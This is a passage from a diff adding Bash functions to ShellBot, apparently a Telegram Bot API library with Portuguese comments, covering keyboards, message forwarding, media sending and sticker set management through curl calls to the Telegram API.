+ callback_data:, + switch_inline_query:, + switch_inline_query_chat:' \ + -- "$@") + + eval set -- "$__param" + + while : + do + case $1 in + -b|--button) + # Ponteiro que recebe o endereço de "button" com as definições + # da configuração do botão inserido. + CheckArgType var "$1" "$2" + __button="$2" + shift 2 + ;; + -l|--line) + CheckArgType int "$1" "$2" + __line="$2" + shift 2 + ;; + -t|--text) + __text="$2" + shift 2 + ;; + -u|--url) + __url="$2" + shift 2 + ;; + -c|--callback_data) + __callback_data="$2" + shift 2 + ;; + -q|--switch_inline_query) + __switch_inline_query="$2" + shift 2 + ;; + -s|--switch_inline_query_current_chat) + __switch_inline_query_current_chat="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]" + [[ $__text ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]" + [[ $__callback_data ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --callback_data]" + [[ $__line ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --line]" + + # Inicializa a variável armazenada em button, definindo seu + # escopo como global, tornando-a visível em todo o projeto (source) + # O ponteiro button recebe o endereço do botão armazenado. + declare -n __button # Ponteiro + + # Abre o array para receber o novo objeto + __button[$__line]="${__button[$__line]#[}" + __button[$__line]="${__button[$__line]%]}" + + # Verifica se já existe um botão na linha especificada. + [[ ${__button[$__line]} ]] && __delm=',' + + # Salva as configurações do botão. + # + # Obrigatório: text, callback_data + # Opcional: url, switch_inline_query, switch_inline_query_current_chat + __button[$__line]+="$__delm{ + \"text\":\"$__text\", + \"callback_data\":\"$__callback_data\" + ${__url:+,\"url\":\"$__url\"} + ${__switch_inline_query:+,\"switch_inline_query\":\"$__switch_inline_query\"} + ${__switch_inline_query_current_chat:+,\"switch_inline_query_current_chat\":\"$__switch_inline_query_current_chat\"} + }" || return 1 # Erro ao salvar o botão. + + # Fecha o array + __button[$__line]="${__button[$__line]/#/[}" + __button[$__line]="${__button[$__line]/%/]}" + + # retorno + return 0 + } + + ShellBot.InlineKeyboardMarkup() + { + local __button __keyboard + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'b:' \ + --longoptions 'button:' \ + -- "$@") + + eval set -- "$__param" + + while : + do + case $1 in + -b|--button) + # Ponteiro que recebe o endereço da variável "teclado" com as definições + # de configuração do botão inserido. + CheckArgType var "$1" "$2" + __button="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]" + + # Ponteiro + declare -n __button + + # Salva todos elementos do array do teclado, convertendo-o em uma variável de índice 0. + # Cria-se uma estrutura do tipo 'inline_keyboard' e anexa os botões e fecha a estrutura. + # O ponteiro matriz é limpo para receber a nova estrutura contendo o layout do objeto. + # O tipo 'inline_keyboard' é definido, adicionando os botões separando-os pelo delimitador + # ',' vírgula. A posição dos botões é determinada pelo índice da linha na inicilização. + # + # Exemplo: + # + # Linha array + # + # 1 [inline_botao1] [inline_botao2] [inline_botao3] + # 2 [inline_botao4] [inline_botao5] + # 3 [inline_botao7] + + __keyboard="${__button[@]}" || return 1 + + # Cria estrutura do teclado + __keyboard="${__keyboard/#/{\"inline_keyboard\":[}" + __keyboard="${__keyboard//]/],}" + __keyboard="${__keyboard%,}" + __keyboard="${__keyboard/%/]\}}" + + # Retorna a estrutura + echo $__keyboard + + # status + return 0 + } + + ShellBot.answerCallbackQuery() + { + local callback_query_id text show_alert url cache_time jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:t:s:u:e:' \ + --longoptions 'callback_query_id:, + text:, + show_alert:, + url:, + cache_time:' \ + -- "$@") + + + eval set -- "$param" + + while : + do + case $1 in + -c|--callback_query_id) + callback_query_id="$2" + shift 2 + ;; + -t|--text) + text="$2" + shift 2 + ;; + -s|--show_alert) + # boolean + CheckArgType bool "$1" "$2" + show_alert="$2" + shift 2 + ;; + -u|--url) + url="$2" + shift 2 + ;; + -e|--cache_time) + # inteiro + CheckArgType int "$1" "$2" + cache_time="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $callback_query_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --callback_query_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${callback_query_id:+-d callback_query_id="$callback_query_id"} \ + ${text:+-d text="$text"} \ + ${show_alert:+-d show_alert="$show_alert"} \ + ${url:+-d url="$url"} \ + ${cache_time:+-d cache_time="$cache_time"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + # Cria objeto que representa um teclado personalizado com opções de resposta + ShellBot.ReplyKeyboardMarkup() + { + # Variáveis locais + local __button __resize_keyboard __on_time_keyboard __selective + + # Lê os parâmetros da função. + local __param=$(getopt --name "$FUNCNAME" \ + --options 'b:r:t:s:' \ + --longoptions 'button:, + resize_keyboard:, + one_time_keyboard:, + selective:' \ + -- "$@") + + # Transforma os parâmetros da função em parâmetros posicionais + # + # Exemplo: + # --param1 arg1 --param2 arg2 --param3 arg3 ... + # $1 $2 $3 + eval set -- "$__param" + + # Aguarda leitura dos parâmetros + while : + do + # Lê o parâmetro da primeira posição "$1"; Se for um parâmetro válido, + # salva o valor do argumento na posição '$2' e desloca duas posições a esquerda (shift 2); Repete o processo + # até que o valor de '$1' seja igual '--' e finaliza o loop. + case $1 in + -b|--button) + CheckArgType var "$1" "$2" + __button="$2" + shift 2 + ;; + -r|--resize_keyboard) + # Tipo: boolean + CheckArgType bool "$1" "$2" + __resize_keyboard="$2" + shift 2 + ;; + -t|--one_time_keyboard) + # Tipo: boolean + CheckArgType bool "$1" "$2" + __on_time_keyboard="$2" + shift 2 + ;; + -s|--selective) + # Tipo: boolean + CheckArgType bool "$1" "$2" + __selective="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Imprime mensagem de erro se o parâmetro obrigatório for omitido. + [[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]" + + # Ponteiro + declare -n __button + + # Constroi a estrutura dos objetos + array keyboard, define os valores e salva as configurações. + # Por padrão todos os valores são 'false', até que seja definido. + cat << _EOF +{"keyboard":$__button, +"resize_keyboard":${__resize_keyboard:-false}, +"one_time_keyboard":${__on_time_keyboard:-false}, +"selective": ${__selective:-false}} +_EOF + + # status + return 0 + } + + # Envia mensagens + ShellBot.sendMessage() + { + # Variáveis locais + local chat_id text parse_mode disable_web_page_preview + local disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:t:p:w:n:r:k:' \ + --longoptions 'chat_id:, + text:, + parse_mode:, + disable_web_page_preview:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -t|--text) + text="$2" + shift 2 + ;; + -p|--parse_mode) + # Tipo: "markdown" ou "html" + CheckArgType parsemode "$1" "$2" + parse_mode="$2" + shift 2 + ;; + -w|--disable_web_page_preview) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_web_page_preview="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $text ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]" + + # Chama o método da API, utilizando o comando request especificado; Os parâmetros + # e valores são passados no form e lidos pelo método. O retorno do método é redirecionado para o arquivo 'update.Json'. + # Variáveis com valores nulos são ignoradas e consequentemente os respectivos parâmetros omitidos. + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${text:+-d text="$text"} \ + ${parse_mode:+-d parse_mode="$parse_mode"} \ + ${disable_web_page_preview:+-d disable_web_page_preview="$disable_web_page_preview"} \ + ${disable_notification:+-d disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-d reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Função para reencaminhar mensagens de qualquer tipo. + ShellBot.forwardMessage() + { + # Variáveis locais + local chat_id form_chat_id disable_notification message_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:f:n:m:' \ + --longoptions 'chat_id:, + from_chat_id:, + disable_notification:, + message_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -f|--from_chat_id) + from_chat_id="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -m|--message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $from_chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --from_chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${from_chat_id:+-d from_chat_id="$from_chat_id"} \ + ${disable_notification:+-d disable_notification="$disable_notification"} \ + ${message_id:+-d message_id="$message_id"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # status + return $? + } + + # Utilize essa função para enviar fotos. + ShellBot.sendPhoto() + { + # Variáveis locais + local chat_id photo caption disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:p:t:n:r:k:' \ + --longoptions 'chat_id:, + photo:, + caption:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -p|--photo) + CheckArgType file "$1" "$2" + photo="$2" + shift 2 + ;; + -t|--caption) + # Limite máximo de caracteres: 200 + caption="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $photo ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --photo]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${photo:+-F photo="$photo"} \ + ${caption:+-F caption="$caption"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para enviar arquivos de audio. + ShellBot.sendAudio() + { + # Variáveis locais + local chat_id audio caption duration performer title disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:a:t:d:e:i:n:r:k' \ + --longoptions 'chat_id:, + audio:, + caption:, + duration:, + performer:, + title:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -a|--audio) + CheckArgType file "$1" "$2" + audio="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -d|--duration) + # Tipo: inteiro + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -e|--performer) + performer="$2" + shift 2 + ;; + -i|--title) + title="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $audio ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --audio]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${audio:+-F audio="$audio"} \ + ${caption:+-F caption="$caption"} \ + ${duration:+-F duration="$duration"} \ + ${performer:+-F performer="$performer"} \ + ${title:+-F title="$title"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Utilize essa função para enviar documentos. + ShellBot.sendDocument() + { + # Variáveis locais + local chat_id document caption disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:d:t:n:r:k:' \ + --longoptions 'chat_id:, + document:, + caption:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -d|--document) + CheckArgType file "$1" "$2" + document="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_MARKUP="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $document ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --document]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${document:+-F document="$document"} \ + ${caption:+-F caption="$caption"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Utilize essa função para enviat stickers + ShellBot.sendSticker() + { + # Variáveis locais + local chat_id sticker disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:s:n:r:k:' \ + --longoptions 'chat_id:, + sticker:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -s|--sticker) + CheckArgType file "$1" "$2" + sticker="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${sticker:+-F sticker="$sticker"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getStickerSet() + { + local name jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'n:' \ + --longoptions 'name:' \ + -- "$@") + + # parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -n|--name) + name="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${name:+-d name="$name"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.uploadStickerFile() + { + local user_id png_sticker jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:s:' \ + --longoptions 'user_id:, + png_sticker:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -s|--png_sticker) + CheckArgType file "$1" "$2" + png_sticker="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + [[ $png_sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-F user_id="$user_id"} \ + ${png_sticker:+-F png_sticker="$png_sticker"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.setStickerPositionInSet() + { + local sticker position jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 's:p:' \ + --longoptions 'sticker:, + position:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -s|--sticker) + sticker="$2" + shift 2 + ;; + -p|--position) + CheckArgType int "$1" "$2" + position="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]" + [[ $position ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --position]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${sticker:+-d sticker="$sticker"} \ + ${position:+-d position="$position"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.deleteStickerFromSet() + { + local sticker jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 's:' \ + --longoptions 'sticker:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -s|--sticker) + sticker="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${sticker:+-d sticker="$sticker"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.stickerMaskPosition() + { + + local point x_shift y_shift scale zoom + + local param=$(getopt --name "$FUNCNAME" \ + --options 'p:x:y:s:z:' \ + --longoptions 'point:, + x_shift:, + y_shift:, + scale:, + zoom:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -p|--point) + CheckArgType point "$1" "$2" + point="$2" + shift 2 + ;; + -x|--x_shift) + CheckArgType float "$1" "$2" + x_shift="$2" + shift 2 + ;; + -y|--y_shift) + CheckArgType float "$1" "$2" + y_shift="$2" + shift 2 + ;; + -s|--scale) + CheckArgType float "$1" "$2" + scale="$2" + shift 2 + ;; + -z|--zoom) + CheckArgType float "$1" "$2" + zoom="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $point ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --point]" + [[ $x_shift ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-x, --x_shift]" + [[ $y_shift ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-y, --y_shift]" + [[ $scale ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --scale]" + [[ $zoom ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-z, --zoom]" + + cat << _EOF +{ "point": "$point", "x_shift": $x_shift, "y_shift": $y_shift, "scale": $scale, "zoom": $zoom } +_EOF + + return 0 + + } + + ShellBot.createNewStickerSet() + { + local user_id name title png_sticker emojis contains_masks mask_position jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:n:t:s:e:c:m:' \ + --longoptions 'user_id:, + name:, + title:, + png_sticker:, + emojis:, + contains_mask:, + mask_position:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -n|--name) + name="$2" + shift 2 + ;; + -t|--title) + title="$2" + shift 2 + ;; + -s|--png_sticker) + CheckArgType file "$1" "$2" + png_sticker="$2" + shift 2 + ;; + -e|--emojis) + emojis="$2" + shift 2 + ;; + -c|--contains_masks) + CheckArgType bool "$1" "$2" + contains_masks="$2" + shift 2 + ;; + -m|--mask_position) + mask_position="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + [[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]" + [[ $title ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --title]" + [[ $png_sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]" + [[ $emojis ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-e, --emojis]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-F user_id="$user_id"} \ + ${name:+-F name="$name"} \ + ${title:+-F title="$title"} \ + ${png_sticker:+-F png_sticker="$png_sticker"} \ + ${emojis:+-F emojis="$emojis"} \ + ${contains_masks:+-F contains_masks="$contains_masks"} \ + ${mask_position:+-F mask_position="$mask_position"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.addStickerToSet() + { + local user_id name png_sticker emojis mask_position jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:n:s:e:m:' \ + --longoptions 'user_id:, + name:, + png_sticker:, + emojis:, + mask_position:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -n|--name) + name="$2" + shift 2 + ;; + -s|--png_sticker) + CheckArgType file "$1" "$2" + png_sticker="$2" + shift 2 + ;; + -e|--emojis) + emojis="$2" + shift 2 + ;; + -m|--mask_position) + mask_position="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + [[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]" + [[ $png_sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]" + [[ $emojis ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-e, --emojis]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-F user_id="$user_id"} \ + ${name:+-F name="$name"} \ + ${png_sticker:+-F png_sticker="$png_sticker"} \ + ${emojis:+-F emojis="$emojis"} \ + ${mask_position:+-F mask_position="$mask_position"}) + + # Testa o retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + # Função para enviar arquivos de vídeo. + ShellBot.sendVideo() + { + # Variáveis locais + local chat_id video duration width height caption disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:v:d:w:h:t:n:r:k:' \ + --longoptions 'chat_id:, + video:, + duration:, + width:, + height:, + caption:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -v|--video) + CheckArgType file "$1" "$2" + video="$2" + shift 2 + ;; + -d|--duration) + # Tipo: inteiro + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -w|--width) + # Tipo: inteiro + CheckArgType int "$1" "$2" + width="$2" + shift 2 + ;; + -h|--height) + # Tipo: inteiro + CheckArgType int "$1" "$2" + height="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $video ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --video]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${video:+-F video="$video"} \ + ${duration:+-F duration="$duration"} \ + ${width:+-F width="$width"} \ + ${height:+-F height="$height"} \ + ${caption:+-F caption="$caption"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Função para enviar audio. + ShellBot.sendVoice() + { + # Variáveis locais + local chat_id voice caption duration disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:v:t:d:n:r:k:' \ + --longoptions 'chat_id:, + voice:, + caption:, + duration:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -v|--voice) + CheckArgType file "$1" "$2" + voice="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -d|--duration) + # Tipo: inteiro + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $voice ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --voice]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${voice:+-F voice="$voice"} \ + ${caption:+-F caption="$caption"} \ + ${duration:+-F duration="$duration"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + + } + + # Função utilizada para enviar uma localidade utilizando coordenadas de latitude e longitude. + ShellBot.sendLocation() + { + # Variáveis locais + local chat_id latitude longitude live_period + local disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da 